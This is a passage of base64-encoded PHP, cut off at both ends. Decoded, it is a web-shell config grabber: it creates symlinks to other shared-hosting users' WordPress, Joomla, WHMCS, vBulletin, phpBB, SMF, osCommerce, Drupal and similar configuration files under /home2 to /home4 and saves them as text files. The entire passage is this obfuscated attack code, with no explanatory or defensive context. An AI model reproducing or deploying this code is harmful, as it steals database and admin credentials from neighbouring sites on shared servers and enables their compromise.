vaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5ob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn4+bWstcG9ydGFsZTEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi50eHQnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtc21mLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bXMudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnVwbG9hZC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+bWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xlbnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50Mi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZzIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhMS50eHQnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywkZG9tYWluLid+PkRydXBhbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2UxMDdfY29uZmlnLnBocCcsJGRvbWFpbi4nfj5lMTA3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYXRhcy9jb25maWcucGhwJywkZG9tYWluLid+PlNlZGl0aW8udHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi1mb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkIudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+T3RoZXIudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkZG9tYWluLid+fj5pbnZpc2lvLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy50eHQnKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmJpbGxpbmdzLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlBocEJCLWZvcnVtLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG0udHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGRvbWFpbi4nfn4+d2htY3MyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2VzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1iZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d3AxMy1wcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdvcmRwcmVzcy1iZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd2ViLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmxvZ3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1wcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+Pm9yZHByZXNzLXNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1tYWluLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtdGVzdC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vbWxhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtY21zLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj5WQnVsbGV0aW4tZm9ydW0udHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52Yi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52YjMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNwYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3QudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0aW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PmhvcC1aQ3Nob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fj5tay1wb3J0YWxlMS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NtZi9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1zbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW0udHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtcy50eHQnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cGxvYWQvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dXBsb2FkLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywkZG9tYWluLid+fj5tYWxheS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGVudHMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWExLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRkb21haW4uJ34+RHJ1cGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZTEwN19jb25maWcucGhwJywkZG9tYWluLid+PmUxMDcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2RhdGFzL2NvbmZpZy5waHAnLCRkb21haW4uJ34+U2VkaXRpby50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi1mb3J1bS50eHQnKSA7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRkb21haW4uJ35+PmludmlzaW8udHh0Jyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+QmFsaXRiYW5nLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3MudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+UGhwQkItZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGRvbWFpbi4nfn4+cGhwYmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWMudHh0Jyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIudHh0Jyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm1hbmdld2htY3MudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PldobTkudHh0Jyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZXMudHh0Jyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zYWxlLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlci50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZ